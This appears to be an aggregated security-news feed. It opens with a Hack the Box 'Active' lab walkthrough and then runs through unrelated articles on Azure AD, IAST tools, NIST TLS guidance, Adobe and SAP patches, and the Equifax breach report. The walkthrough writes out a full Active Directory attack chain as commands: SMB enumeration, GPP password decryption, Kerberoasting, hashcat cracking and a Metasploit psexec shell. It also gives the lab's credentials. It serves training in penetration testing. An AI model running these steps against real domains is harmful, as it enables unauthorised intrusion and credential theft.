Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

Hack the Box: Active Walkthrough

$
0
0

Today we are going to solve another CTF challenge “Active”. Active is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy

Task:To find user.txt and root.txt file

Penetration Methodologies

Scanning Network

Open ports and Running services (Nmap)

Enumeration

Identify share files (linux4enum) Access share file via Anonymous login (smbclient) Decrypting cpassword (Gpprefdecrypt.py)

Access Victim’s Shell via SMB connect

Access share file user login Get User.txt

Privilege Escalation

Find Service Principal Names ( py ) Crack the hash (Hashcat) Psexec Exploit (Metasploit) Get root.txt

Walkthrough

Scanning Network

Note: Since these labs are online available therefore they havea static IP. The IP of Active is 10.10.10.100

Let’s start off with our basic nmap command to find out the open ports and services.

nmap -sV 10.10.10.100
Hack the Box: Active Walkthrough

As you can observe from Nmap scanning result, there are so many open ports along with their running services, the OS is Microsoft windows server 2008:r2:sp1 and you can also read the domain name “active.htb”.

Enumeration

I try eternal blue attack when I saw port 445 was open but I guess this was Patched version of SMB, therefore I have to start with enum4linux script. As we all know it is the best script for SMB enumeration.

./enum4liux -S 10.10.10.100

It has shown anonymous login for /Replication share file.


Hack the Box: Active Walkthrough

Then I try to access /Replication with the help smbclient and run the following command to access this directory via anonymous account:

smbclient //10.10.10.100/Replication
Hack the Box: Active Walkthrough

Here I downloaded Groups.xml file which I found from inside the following path:

\active.htb\Policies\{31B2F340 016D-11D2 945F-00C04FB984F9}\MACHINE\Preferences\Groups\

So here I found cpassword attribute value embedded in the Groups.xml for user SVC_TGS .


Hack the Box: Active Walkthrough

Therefore I download a python script “Gpprefdecrypt” from GitHub to decrypt the password of local users added via Windows 2008 Group Policy Preferences (GPP) and obtain the password: GPPstillStandingStrong2k18 .

python Gpprefdecrypt.py < cpassword attribute value >
Hack the Box: Active Walkthrough
Access Victim’s Shell via SMB connect

Using above credential we connect to SMB with the help of following command and successfully able to catch our 1 st flag “user.txt” file.

smbclient //10.10.10.100/Users -U SVC_TGS
Hack the Box: Active Walkthrough

Now, it’s time to hunt root.txt file and as always seen that for obtain root.txt file we need to escalated root privilege, therefore let’s add Host_IP and Host_name inside /etc/hosts file in our local machine.


Hack the Box: Active Walkthrough
Privilege Escalation

In nmap scanning result we saw port 88 was open for Kerberos, hence their much be some Service Principal Names (SPN) that are associated with normal user account. Therefore we downloaded and install impacket from Github for using its python class GetUserSPN.py

./GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18

I copied the hash value into a text file “hash.txt” for its decryptions.


Hack the Box: Active Walkthrough

Then with the help of hashcat we find out the hash mode and as result it shown 13100 for Kerberos 5 TGS-REP etype 23

hashcat -h |grep -i tgs

Finally, it was time to crack the hashes and obtain the password by using rockyou.txt wordlist.

hashcat -m 13100 hash.txt -a 0 /usr/share/wordlists/rockyou.txt --force ---show

Hurray!!! We got it, Ticketmaster1968 for administrator.


Hack the Box: Active Walkthrough

Without wasting time I load metaploit framework and run following module to spawn full privilege system shell.

msf > use exploit/windows/smb/psexec msf exploit windows/smb/psexec) > set rhost 10.10.10.100 msf exploit(windows/smb/psexec) > set smbuser administrator msf exploit(windows/smb/psexec) > set smbpass Ticketmaster1968 msf exploit(windows/smb/psexec) > exploit

BOOOMMM…………………

Now we are inside the root shell, let’s chase towards root.txt file and finish this challenge.


Hack the Box: Active Walkthrough

Yuppieee! We found our 2 nd flag the root.txt file form inside /Users/Administrator/Desktop.


Hack the Box: Active Walkthrough

Author:AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here


Voice of the Customer: The Walsh Group found that Azure Active Directory gives t ...

$
0
0

Todays post was written by Sue Bohn, partner director of Program Management, and Peter Vallianatos and Phillip Nottoli, directors of IT Infrastructure and Security at The Walsh Group.

Hello!

This is Sue Bohn from the Customer & Partner Success team for the Identity Division. Im delighted to announce the next post in our Voice of the Customer blog series. This series is designed to help you by sharing stories from real customers who are solving their identity and security challenges using Azure Active Directory (Azure AD). I hope you find valuable insights and best practices that you can apply to your own projects. If you havent already, check out the first blog from in the series, Voice of the Customer: Walmart embraces the cloud with Azure AD .

This post features The Walsh Group, a large construction company in the United States. The Walsh Group has been with us from the early days in adopting Azure AD. Theyve taken advantage of its capabilities to strengthen access controls, provide more flexibility to users, and reduce the time their help desk spends on password resets. Peter Vallianatos and Phillip Nottoli, directors of IT Infrastructure and Security, provide insights on how they implemented Azure AD to give them a competitive advantage in the general contractor marketplace.

Security is no longer just about firewalls, its how we control identity

The Walsh Group is one of the largest construction companies in the United States with offices and job sites across the country. Like many businesses, identity and security initiatives increased in priority for us a few years ago. We had recently invested in Office 365, which allowed us to shift much of the responsibility for the uptime of our core productivity suite to Microsoft. It saved us time, but it also meant we would have less control than we were used to. We needed to find a way to manage our identities and shore up security. As an example, we did not have a Multi-Factor Authentication (MFA) solution. On top of that, our help desk was begging us to come up with a solution to reduce the amount of time they spent helping our users reset their passwords.

As we researched solutions to fill our security holes, we had to balance the need for best-in-breed security products with the fact that we have tight budgets and a drive to make economic decisions. It was important that we found tools that would be effective, easy to deploy, and easy to integrate. Historically, well before the Azure days, we viewed Microsoft as a strategic partner. So we quickly zeroed in on the complete Microsoft 365 identity stack that includes: Azure AD, Microsoft Cloud App Security, Microsoft Advanced Threat Analytics, Privileged Identity Management, Azure Advanced Threat Protection, windows Defender Advanced Threat Protection, Azure Identity Protection, Microsoft Intune, Single Sign-on, Self-Service Password Reset, among others.

Azure AD conditional access is central to our Zero Trust strategy

Using the Microsoft security stack has also allowed us to begin implementing a Zero Trust strategy. We believe identity is the foundation of our security posture. As a construction company, we have so many locations, creating opportunities for exploitation. We must properly verify identities before we give access. Azure AD conditional access has given us tools to better control access by defining geographical rules and hardware restrictions. As an example, we simply blocked all access from many countries across the world. We could do that because we operate mostly within North America. As Azure AD conditional access matured, we changed our strategy. To support our people that vacation overseas, weve been able to build sophisticated rules that consider if a device is Intune managed, hybrid joined, and where the device is located. Combining that rule set with MFA, weve been able to safely give our vacationers access to email and other business resources.

Paying attention to the sign-in events, we can adjust our ruleset to further restrict or allow for circumstances that we did not consider. For certain, nearly all the failed sign-in attempts are malicious. It is nice to have that visibility into and control over when and how our networks are accessed.

We bet the farm with Microsoft

We chose to be an early adopter of the Azure AD identity framework. At the time, the tools were just emerging, but we understood the vision, the direction, and Microsofts roadmap to get there. Microsoft helped us establish short-, middle-, and long-range plans, and we rely on their security and identity products more and more. We don’t have that level of confidence in nor the relationship with other vendors. For us, the evidence is clear, we chose the right partner. As a general contractor, this platform has allowed us to remain competitive in our marketplace. Out implementation of Azure AD gives us a competitive advantage that will continue to pay dividends as our cloud strategy grows and we make use of the Office 365 and Azure features. Currently, we have turned our energy towards Microsoft Cloud App Security and operationalizing the Windows Defender Advanced Threat Protection integration across platforms. Already, we are recognizing the value in having all three Advanced Threat Protection products integrated and will continue to fine tune how we manage it.

Voice of the Customerlooking ahead

Many thanks to Pete and Phil for sharing their journey from on-premises to Azure AD. Our customers have told us how valuable it is to learn from their peers. The Voice of the Customer blog series is designed to share our customers security and implementation insights more broadly. Bookmark the Microsoft Secure blog , so you dont miss the next installment in this series, where our customer will speak to how Azure AD and implementing cloud identity and access management makes them more secure.

The post Voice of the Customer: The Walsh Group found that Azure Active Directory gives them a competitive edge appeared first on Microsoft Secure .

*** This is a Security Bloggers Network syndicated blog from Microsoft Secure authored bySue Bohn. Read the original post at: https://cloudblogs.microsoft.com/microsoftsecure/2018/12/11/voice-of-the-customer-the-walsh-group-found-that-azure-active-directory-gives-them-a-competitive-edge/

8 must-have features in an IAST solution

$
0
0

With so many vendors to choose from, finding the perfect IAST solution for your organization’s needs can be difficult. Here’s a checklist of 8 must-have features for any good IAST tool.


8 must-have features in an IAST solution

Many are hailing interactive application security testing (IAST) as the next step in the evolution of application testing, and for good reason. Gartner expects IAST adoption to have exceeded 30% by 2019. Why? IAST provides significant advantages over some testing methodologies, and it complements others for better coverage.

In our new eBook, Interactive Application Security Testing 101 , we examine how organizations should evaluate IAST solutions. Selecting the right IAST tool is critical for businesses that have web applications because they are the ideal attack vector by hackers attempting to gain access to sensitive IP and personal information.

Download the eBook

There are many considerations to be made when selecting IAST tools and equally as many vendors to choose from. No matter what IAST solution your organization chooses, we recommend that it, at theminimum, contain the following features:

Must-have Why it’s important Updated security dashboards for standards compliance: PCI DSS, OWASP Top 10, SANS/CWE You need insight into security risks, trends, and coverage, as well as security compliance for running web apps (including custom code and open source components). Fast, accurate, and comprehensive results out of the box, with low false-positive rates You need to spend less time finding and remediating false positives. But you can’t waste time configuring and tuning your tools to reduce them. Automated identification and verification of vulnerabilities You want to free up your teams to find and fix more complex vulnerabilities. So you need a tool that verifies each vulnerability and doesn’t inundate you with false positives. Sensitive-data tracking (e.g., PII and company IP) You need to achieve compliance with key industry security standards (e.g., PCI DSS and GDPR) by setting parameters to automatically track sensitive data in applications. Ease of deployment in DevOps agile workflows Your web app development and DevOps teams rely on agile development and automation. So they need AppSec tools that seamlessly integrate with standard build, test, and QA tools and “just work.” Enterprise-grade SCA binary analysis integration You need visibility into security vulnerabilities and license types and versions in open source and third-party components, libraries, and frameworks. Detailed security guidance and remediation advice Your developers need detailed and contextual information about vulnerabilities, where they are located in their code, and how to remediate them. Optimal support for microservices You need an IAST solution that can easily bind together multiple microservices from a single app for assessment.

Get a PDF of this checklist

Find the perfect IAST solution

New NIST TLS Management Guidelines for InfoSec [Expert Advice]

$
0
0
New NIST TLS Management Guidelines for InfoSec [Expert Advice]

kdobieski

Tue, 12/11/2018 09:05

Here’s the list of TLS certificate-related risks I included in a recent post for executives:

Application Downtime: Significant outages of business applications due to expired certificates. Nearly every organization has experienced major business application outages due to mismanaged TLS certificates. Pivoting: Attackers moving undetected from system to system across your network after an initial intrusion because you lack visibility inside TLS-encrypted communications. Most of the sensitive data that attackers want is deep inside your networks, so they have to pivot from system to system to get to it and to get it back out. They do that through encrypted TLS connections today. Lack of Crypto-Agility: Business operations can actually come to a halt because of inability to change large numbers of TLS certificates in response to a cryptographic issue such as a weak algorithm or bugs in cryptographic libraries. Challenges eliminating the use SHA-1 should have served as a wake-up call to organizations that they need to improve their crypto-agility.

Many organizations have struggled to effectively manage TLS certificates and mitigate these risks because TLS certificates are so broadly deployed across a wide variety of systems that are managed by different IT groups and business units. I’ve talked with many organizations where security/PKI teams get blamed for certificate-related outages, even when they might have sent multiple email alerts to the group responsible for the certificate that expired.

If you’ve been feeling this pain, you need to read SP 1800-16B and talk to your executive chain about implementing the recommendations.

SP 1800-16B provides clear guidance on how to establish a TLS certificate management program to enable organizations to continue to broaden their use of TLS while minimizing any TLS certificate-related incidents and risks. The guidance includes:

Certificate Policy Examples: There’s a lot involved in effectively managing TLS certificates. Many organizations have policies for things like minimum key lengths but don’t have policies for management-related topics, such as ensuring an inventory of all deployed certificates, renewing certificates before expiration, changing private keys/certificates when administrators are terminated, etc. SP 1800-16B provides a clear set of policies that organizations can leverage to establish clear governance.

Recommended Responsibilities: As I’ve mentioned earlier, PKI teams are often blamed for certificate-related issues, even though they don’t have sufficient resources or access to address those issues (e.g., they don’t have the necessary system access to install a new certificate and private key before the existing one expires). SP 1800-16B provides recommended responsibilities for each policy so that organizations can ensure everyone knows what they’re supposed to do.

Establishing a Certificate Service: Manually managing TLS certificates isn’t practical due to the large number of them that are being deployed. Consequently, organizations must provide IT groups and business units automated tools and central support. SP 1800-16B provides a blueprint for establishing a central certificate service that supports all groups.

Making and Action Plan: Implementing an effective certificate management program across an enterprise involves many milestones and cooperation between groups. SP 1800-16B provides recommendations on how to setup a plan that will better ensure a successful certificate management program.

Importance of Executive Involvement: Effective TLS certificate requires the cooperation of IT groups and business units that manage systems where TLS certificates are deployed. Gaining this cooperation is often challenging because these groups think the PKI team should be taking care of certificate related issued.

While you’re reading SP 1800-16B, you might consider sending SP 1800-16A to your executives. It provides an executive overview of the risks, challenges, and solutions for TLS certificates. Getting support and active engagement from executive management is critical to a successful certificate management program.

NIST SP 1800-16 A and B are both up for public review. If, as you’re reading them, you have any suggestions on how to make them better, please submit that feedback to NIST at this link .

Related posts 5 Questions to Ask About Your PKI Certificate Management CISO Viewpoint: How Important is Effective Key and Certificate Management to Cyber Security? Why Wildcard Certificates Aren’t that Easy to Manage [And What You Can Do About It]
New NIST TLS Management Guidelines for InfoSec [Expert Advice]

Paul Turner

If you’re an InfoSec director, manager, or architect, here are a few questions for you:

Have you ever had a breach where attackers were able to pivot from system to system inside your network because you weren’t monitoring activity inside of encrypted TLS connections? Has your organization ever had any high-profile application outages because of expired TLS certificates? If so, who did executive management berate and task with making sure it didn’t happen again: The business unit responsible for the system/application where the certificate was deployed? The security group/PKI team?

If you answered yes to either of these questions and answered that the security group got blamed for the certificate outage, NIST has just released guidance ( Special Publication 1800-16B TLS Server Certificate Management ) that you need to read. With organizations realizing they need to authenticate all machines and encrypt all communications, the use of TLS has exploded and the number of TLS certificates has risen into the thousands for many organizations. With the increased security organizations have gained with TLS, other risks have arisen related to TLS certificates.


New NIST TLS Management Guidelines for InfoSec [Expert Advice]
Why do security professionals struggle with TLS certificate management?

See analyst findings.


New NIST TLS Management Guidelines for InfoSec [Expert Advice]
Learn more about machine identity protection.

Explore now.

Recent Articles By Author

Cellular outage for 32 million Brits caused by expired certificate We’re on the Cusp of the 4th Industrial Revolution, or Industry 4.0 New Machine Identity Protection Solution from Venafi and DigiCert More from kdobieski

*** This is a Security Bloggers Network syndicated blog from Rss blog authored bykdobieski. Read the original post at: https://www.venafi.com/blog/new-nist-tls-management-guidelines-infosec-expert-advice

NetSecOPEN Names Founding Members, Board of Directors

$
0
0

The organization is charged with building open, transparent testing protocols for network security.

NetSecOPEN, an organization charged with creating open network security testing standards, has taken a step forward with the naming of founding members and the first board of directors.

The industry organization, founded in 2017, will seek to create standards by which network security products and installations can be tested for performance and efficacy. The proposed standard has been submitted to the IETF's Benchmark Working Group for consideration.

Founding members of NetSecOPEN are Check Point Software Technologies, Cisco, Fortinet, Palo Alto Networks, SonicWall, Sophos, WatchGuard, Spirent, Ixia/Keysight, European Advanced Networking Test Center (EANTC), and the University of New Hampshire InterOperability Lab (UNH-IOL).

The first board of directors of NetSecOPEN consists of chairman, Jurrie Van Den Breekel (vice president, business development and product management, Spirent Communications); vice chairman, Aria Eslambolchizadeh (executive director quality engineering, SonicWALL); treasurer, Carsten Rossenhoevel (managing director at EANTC); Sashi Jeyaretnam (director, product management, Ixia/Keysight); Alex Samonte (senior system consulting engineer, Fortinet); and Brian Monkman (executive director, NetSecOPEN).

For more, read here and here .

Dark Reading's Quick Hits delivers a brief synopsis and summary of the significance of breaking news events. For more information from the original source of the news item, please follow the link provided in this article.View Full Bio

Adobe December 2018 Security Update Fixes Reader, Acrobat

$
0
0

Adobe has patched 88 vulnerabilities for Acrobat and Reader in its December Patch Tuesday update, including a slew of critical flaws that would allow arbitrary code-execution.

The scheduled update comes less than a week after Adobe released several out-of-band fixes for Flash Player, including a critical vulnerability (CVE-2018-15982) that it saidis being exploited in the wild. That’s a use-after-free flaw enabling arbitrary code-execution in Flash.

Critical Code-Execution Flaws

The addressed critical vulnerabilities are myriad this month. The arbitrary code-execution problems include: two buffer errors; two untrusted pointer dereference glitches; three heap-overflow issues, five out-of-bounds write flaws, 24 use-after-free bugs. Adobe also patched three other critical-rated issues that could lead to privilege escalation; these are all security bypass problems.

Important Information Disclosure Flaws

In addition to the critical bugs, Adobe also patched 43 out-of-bounds read flaws, four integer overflow problems and two security bypass issues, all of which could allow information disclosure.

The company didn’t release specific details on any of the flaws, but Threatpost will update this page with any additional aspects or commentary that we uncover.

Adobe has characterized all of the flaws, both critical and important, as “priority two” for patching, which means that the software giant deems them to be unlikely to be imminently exploited in the wild, but patching within 30 days is recommended.

The flaws are far-reaching and affect various implementations of Acrobat DC, Acrobat Reader DC, Acrobat 2017 and Acrobat Reader 2017 for macOS and windows, in classic 2015, classic 2017 and continuous-track versions. All can be mitigated by updating to the most current versions of the software.

SAP Security Notes December ‘18: High Priority Missing Authorization Check Affe ...

$
0
0

Today, on SAP’s Security Patch Day, the company published 17 security notes , including a few that had been published during the month after the last Patch Day. Two notes tagged as Hot News and three tagged as High Priority excel over the rest , including a recurrent re-released note about Chromium (#2622660), a bug in SAP Hybris (#2711425) and a critical missing authorization check previously reported by the Onapsis Research Labs affecting most SAP users (#2698996). This last note affects not only SAP Netweaver ABAP systems, but also S/4HANA environments .

Why is a common vulnerability, such as a missing authorization check, sometimes considered as Low Priority and sometimes High Priority ? Some of our readers may be confused about such gap in the way SAP tags one of the most common types of bugs and have asked us to explain. The note, reported this month by our lead researcher Matias Sena, is a good example to explain this. SAP Security Note #2698996 , titled “[CVE-2018-2494] Missing Authorization Check in SAP Customizing Tools” was tagged as a High Priority note, based on what an alleged attacker can do if successfully exploited and its calculated CVSS 8.3 score reported by our team.

Authorization Checks are the way SAP programs protect what users can or cannot execute to access business sensitive data. If a program is properly developed, let’s say ‘in a secure way’, every time a user wants to access any function, program or transaction (among others), an authorization check should be executed in order to validate if this user should be allowed to do this (or not). Whenever a program lacks this check, it is called a Missing Authorization Check , since it may lead to an unauthorized user accessing or modifying data that shouldn’t be allowed. Based on this, the object that lacks the check allows a key to determine how risky a bug it is . For example, SAP Security Note #2463354 “Missing Authorization Check in the ABAP Workbench tools,” published in 2017, is tagged as Low Priority . If not patched, the affected component may allow an unauthorized user to create restricted data. Based on this, only integrity from Information Security Triage is not as affected and the bug CVSS vector is low (2.7/10). Whenever the affected component allows an unauthorized user to affect all CIA triage, the attack scenario is bigger, even though the type of bug is the same. This leads to a higher priority note. Whenever this vulnerability affects a component that almost every SAP customer in the world has enabled, it’s even worse. This is the case for SAP Security Note #2698996 published this month and reported by Onapsis Research Labs.

[CVE-2018-2494] Missing Authorization Check in SAP Customizing Tools

SAP Security Note #2698996 , tagged as High Priority , fixes three vulnerabilities reported by the Onapsis Research Labs. The security bugs, consisting of a Missing Authorization Check were found by Onapsis researcher Matías Sena. The failed code affects both SAP Netweaver ABAP and S4/HANA systems . These systems share a lot of ABAP code, and as in this case, the same bugs. The problem is that several functions are used to customize different types of RFC connections , but not all the types. This security note has a CVSS 3 score of 8.3/10.

The reason this vulnerability is critical is because an attacker who has only network access to SAP servers and regular user credentials may perform system customizations that are usually reserved for SAP BASIS administrators.

This vulnerability allows an attacker to remotely manage certain types of RFC connections . It can enumerate, create, modify, activate or delete those RFC connections subject to the vulnerability. The affected RFC connections are: type L (Logical Destinations), type 3 (ABAP systems), type H ( HTTP Connection to an ABAP System), and, with less impact, type T (TCP/IP connections) .

For each type, the possible actions for an attacker are almost the same (but the potential business impact may increase). For example, by just enumerating the RFC connections and its configurations, an attacker can gather information about the connections between SAP systems, that can be used in a further attack (well known as the reconnaissance stage of a cyberattack).

Another scenario could be the deletion or modification of one or more RFC Connections to disrupt the communications between different systems . Among the imaginable malicious goal of such an attack, one can consider, for example, the communications interruption of a monitoring/management system such as SAP Solution Manager or SAP GRC . This would keep it from functioning normally, because those systems cannot connect to monitor or manage their managed SAP systems within the organization. This kind of action could be used to hide another attack in progress, a common attacker tactic against supervised systems.

What else can be done? By changing an RFC destination in the Transport Management System , an attacker could potentially provoke a piece of modified code to pass from a Development to a Production system directly instead of following the regular steps of a QA/Testing system approval process.

Finally, in a worst-case scenario , exploitation of this bug could be used to potentially arrange a Man in the Middle (MitM) attack in an SAP environment . The attacker could take advantage of the vulnerability by changing an RFC destination from a legit SAP system to its own malicious server where the diverted information flow is subject to manipulation like data exfiltration or for malicious changes that can lead to fraud.

We strongly recommend patching this vulnerability as soon as possible, and checking whether the more strict authorization requirements for managing RFC destination are already in place only for the users that need it. This is the authorization for S_RFC_ADM as Solution section of the security note details.

Vulnerabilities in SAP Mobile Secure Android Client

The second security note for this month ( #2707024 ) addresses a pair of vulnerabilities reported by Onapsis. It comes with fixes for two security bugs found in SAP Mobile Secure Android client, previously known as SAP Afaria Android client . This bug was also discovered by Onapsis researcher Yvan Genuer, as the one reported in last month’s blog .

In this note, the two vulnerabilities are because of lack of permissions required in some content provider functions in this Secure Android client. One vulnerability is allowing a non-privileged malicious app to write arbitrary content to the SAP Mobile Secure debugging log, allowing the attacker to hide its actions and consume disk space. The resulting impact is reduced and so is the CVSS score. Onapsis had designated this as a 4, but SAP estimated it to be 2.9. In an unpatched mobile, this could be helpful for the attacker to hide his actions when exploiting others vulnerabilities.

The other vulnerable function is also accessible to a non-privileged malicious app running in the same device. It can be abused to read and modify some configuration files of the Mobile Secure App. That way an attacker can access some configuration information files for the vulnerable app and exfiltrate it for further attacks. It can also manage to modify part of that configuration that can change the behavior of this SAP Mobile Secure app.

You should patch every mobile system and follow the solution provided by the security note and keep the software updated.The latest version for this Mobile-Secure.apl is the build 6.60.19942.0 SP28 1711.

Hot News and High Priority Notes

Two Hot News were issued today ― one is for SAP Hybris Commerce. The note #2711425 addresses a Cross-Site Scripting (XSS) vulnerability for it. SAP details that the affected versions of SAP Hybris Commerce are versions 6.2 through 6.7 and 18.08, including earlier and unsupported versions. All the storefronts based on non-updated Hybris Commerce versions are vulnerable.

SAP warns that also updated installations may remain vulnerable if they are running a storefront based on earlier vulnerable versions of Hybris Commerce . The reason for this is that the problem, the vulnerability, is with the javascript file webApplicationInjector.js (or a copy of it) when used by storefronts. Our recommendation is to study carefully the note’s solution and familiarize yourself with the SAP Hybris updating procedure to update and get rid of this vulnerability. At a minimum, follow one of the provided workarounds. If you are affected, keep in mind the high impact of this security note and the easy of exploitation that this vulnerability has clearly shown by its CVSS Score (9.3) and Base Vector.

Another Hot News issued today is the re-released note #2622660 for SAP Business Client . This note includes the fixes for 23 security issues in Chromium controls , used in this SAP client software. Six of those bugs are tagged as having a high impact. For example, one of them (CVE-2018-17463) allows an attacker, via a crafted HTML page, to run arbitrary code inside the sandbox (a mechanism to isolate browser processes). Most of the vulnerabilities fixed were externally reported. A prompt update to the newest SAP Business Client 6.5 PL11 is strongly recommended.

In addition to the High Priority note we already discussed above, there are two other High Priority notes and both are for SAP Netweaver AS Java . One of these is the #2642680 that fixes a Missing XML Validation in SAML 2.0. This SAML 2.0 adds a functionality to SAP AS Java allowing the integration between different authentication domains by the exchange of identity information with this version of the SAML standard used for exchanging authentication and authorization data between different systems. In this case, the integration between the enterprise SSO mechanism and the cloud-based service providers. The vulnerability allows an attacker to perform a Denial of Service attack and also to retrieve arbitrary files from the vulnerable server. The attack has a high impact on the availability and can be performed remotely and with low privileges from an untrusted source.

The second High Priority note affecting SAP Netweaver AS Java is a wrong default authorization in the AS Java keystore . The note #2658279 has directions for patching the affected server versions that are the following: 7.11, 7.20, 7.30, 7.31, 7.40 and 7.50. The Java keystore service allows storing certificates and keys such as used for credentials emails over SSL and store for Trusted CAs. The impact of this security bug will allow accessing sensitive information from the keystore that can be used to get access to protected resources or to cause a service disruption if a key or certificate were maliciously deleted or modified.

Summary and Conclusions

This month there are several relevant SAP Security Notes that, if not addressed, can have serious security implications, including a High Priority Note that affects most SAP customers. Below is a summary of the type of bugs SAP patched this month through its security notes:


SAP Security Notes December ‘18: High Priority Missing Authorization Check Affe ...

SAP recognized Onapsis through two researchers from our Research Labs , Matías Sena and Yvan Genuer, who have helped SAP improve the security and integrity of their customers’ systems . As we regularly do at Onapsis, we are working to update the Onapsis Security Platform to incorporate these newly published vulnerabilities. This will allow our customers to check whether their systems are up to date with the latest SAP Security Notes and will ensure that those systems are configured with the appropriate level of security to meet their audit and compliance requirements.

Please follow our ERP security blog or follow us on Twitter for more information about the latest SAP security issues and stay tuned for our year-in-review blog post leading up to the first January Patch Day.

Equifax Breach Underscores Need for Accountability, Simpler Architectures

$
0
0

A new congressional report says the credit reporting firm's September 2017 breach was 'entirely preventable.'

Equifax could have prevented a breach of its systems and the resulting leak of sensitive information on nearly 148 million people by focusing more heavily on security, creating a clear hierarchy of responsibilities, and reducing complexity in its infrastructure, a congressional committee concluded in a report released on Dec. 10.

Calling the September 2017 breach "entirely preventable," the US House of Representatives' Committee on Oversight and Government Reform placed responsibility for the incident squarely on Equifax's shoulders. The committee's findings come 15 months after the breach, during which time the credit reporting agency has largely escaped investigation or fines.

"A culture of cybersecurity complacency at Equifax led to the successful exfiltration of the personal information of approximately 148 million individuals," the report stated. "Equifax's failure to patch a known critical vulnerability left its systems at risk for 145 days. The company’s failure to implement basic security protocols, including file integrity monitoring and network segmentation, allowed the attackers to access and remove large amounts of data."

While the report focuses on a set of common recommendations―including increasing transparency for consumers and calling for a review of government agencies' ability to investigate breaches - security experts say companies should focus on policy and process initiatives to improve the ability to detect and eliminate future breach risks.

"In light of this breach and report, the senior leadership needs to be asking if the organization's cybersecurity is as effective as originally anticipated," says Jesse Dean, senior director of solutions at TDI, a security services firm. "This report underscores the importance of fundamental security practices―not artificial intelligence or machine learning.Executives areresponsible for ensuring that basic tenants such as inventory and vulnerability management are being performed and align with organizational policies."

Security and policy experts expect little to change on the policy front in the US, but underscored two findings of the report.

Don't Expect Major Legislation or Investigations

Despite the significance of the data leaked in the breach and the total number of records―more than half of all US adults―very little has changed since Equifax announced the incident. The Federal Trade Commission has largely declined to investigate, instead posting information for consumers to avail themselves of the free credit monitoring and noting that credit freezes, where consumers can prevent anyone without a PIN from accessing their credit,are now free to turn off or on.

The Consumer Financial Protection Bureau also has largely been silent on the breach, following the appointment of former OMB Director Mike Mulvaney to head the agency. He has failed to pursue a full investigation of the Equifax breach, according to a February report in Reuters .

The reaction has largely disappointed consumer advocates, says Ted Rossman, an industry analyst with CreditCards.com .

"I really thought at the time that this would be the sea change, finally, because this seemed like something bigger than anything we had seen before, because it was about a company in charge of consumers' data that had a data breach," said Rossman. "Now, more than a year later, Equifax has gotten off pretty easy. It seems like the climate for reform wasn't there, and I don't see it happening in the near future."

The stock market initially punished Equifax: following the announcement of its breach in Sept. 2017, Equifax's stock price plummeted more than a third of its value to from more than $141 to less than $93 per share. Nearly a year later, Equifax's stock had nearly recovered, but plunged again in late October 2018 to under $97 per share, where the stock has languished following a weak third-quarter earnings report .

Organization Disorganization

Equifax had a convoluted information-technology and information-security organization, where the chief security officer did not report to the chief information officer or the CEO, but instead to the chief legal officer.

This siloed approach to responsibilities directly led to a series of stumbles that resulted in the breach, the report stated. Graeme Payne, Equifax's senior vice president and CIO for global corporate platforms at the time, was fired by Equifax's board, although he did not have direct responsibility for seeing that the vulnerable system was updated.

"The functional result of the CIO/CSO structure meant IT operational and security responsibilities were split, creating an accountability gap," the congressional report stated, adding that "information rarely flowed from one group to the other. Collaboration between IT and Security mostly occurred when required, such as when Security needed IT to authorize a change on the network. Communication and coordination between these groups was often inconsistent and ineffective at Equifax."

Aside from establishing clear areas of responsibility, companies should increase their visibility into the security of their IT networks, experts say. For Equifax, because of the company's complex IT infrastructure, both the patch management and certificate management processes failed. The company could not initially determine that the vulnerable software ran on the affected server, and due to an expired SSL certificate, could not detect the attack traffic because it was encrypted.

"Both the complexity and antiquated nature of Equifax’s IT systems made IT security especially challenging," the report found. "Equifax recognized the inherent security risks of operating legacy IT systems because Equifax had begun a legacy infrastructure modernization effort. This effort, however, came too late to prevent the breach."

In the end, companies need to focus on improving security, experts say.

For consumers, however, the future is less certain.

"As more and more companies move to monetize data and customer behaviors, a lack of political will and a lack of consumer pressure means that your data remains at risk," Mark Nunnikhoven, vice president of cloud research at Trend Micro stated in a blog post on the breach . "Regulation is always challenging but it's clear that the market isn't providing a solution as few of the affected individuals have a relationship with the companies holding the data."


Sky and Space inks reseller deal with India’s Global Teleservices

$
0
0

Australian-listed, UK-based satellite communications company Sky and Space Global has signed a reseller Memorandum of Understanding with Indian based international telecom services provider Globe Teleservices (GTS).

The deal will see Sky and Space (ASX: SAS) and GTS collaborating GTS become a key reseller of the SAS Solution, with the intent for GTS to include the SAS Solutions in its communications services offering.

SAS plans to deploy a constellation of 200 highly sophisticated nano-satellites over the Equatorial Belt, and the network of nano-satellites will provide around the clock affordable voice, data, instant messaging, M2M and IoT communications.

SAS says the signing of the MoU agreement with GTS supports its business global rollout model of establishing a localised and international reseller network which will enable efficient provision of SAS’s connectivity solutions to equatorial locations and “becoming a leading player in the satellite communication market”.

Sky and Space Global managing director and CEO, Meir Moalem said: “We are happy to move forward with Globe Teleservices following our meetings at Africa last month. This agreement further expands our commercial coverage for the Indian peninsula and the surrounding region.”

“We are excited to have announced this pro-competitive transaction and look forward to delivering benefits to customers from the enriched product offerings and the expanded networks of the merged entity,” said founder and managing director of Globe Teleservices, Ashutosh Agrawal.

“The move would further strengthen the position of the company to give us a global recognition.”

47 REASONS TO ATTEND YOW! 2018

With 4 keynotes + 33 talks + 10 in-depth workshops from world-class speakers, YOW! is your chance to learn more about the latest software trends, practices and technologies and interact with many of the people who created them.

Speakers this year include Anita Sengupta (Rocket Scientist and Sr. VP Engineering at Hyperloop One), Brendan Gregg (Sr. Performance Architect Netflix), Jessica Kerr (Developer, Speaker, Writer and Lead Engineer at Atomist) and Kent Beck (Author Extreme Programming, Test Driven Development).

YOW! 2018 is a great place to network with the best and brightest software developers in Australia. You’ll
be amazed by the great ideas (and perhaps great talent) you’ll take back to the office!

Register now for YOW! Conference

Sydney 29-30 November

Brisbane 3-4 December

Melbourne 6-7 December

Register now for YOW! Workshops

Sydney 27-28 November

Melbourne 4-5 December

REGISTER NOW!

LEARN HOW TO REDUCE YOUR RISK OF A CYBER ATTACK

Australia is a cyber espionage hot spot.

As we automate, script and move to the cloud, more and more businesses are reliant on infrastructure that has the high potential to be exposed to risk.

It only takes one awry email to expose an accounts’ payable process, and for cyber attackers to cost a business thousands of dollars.

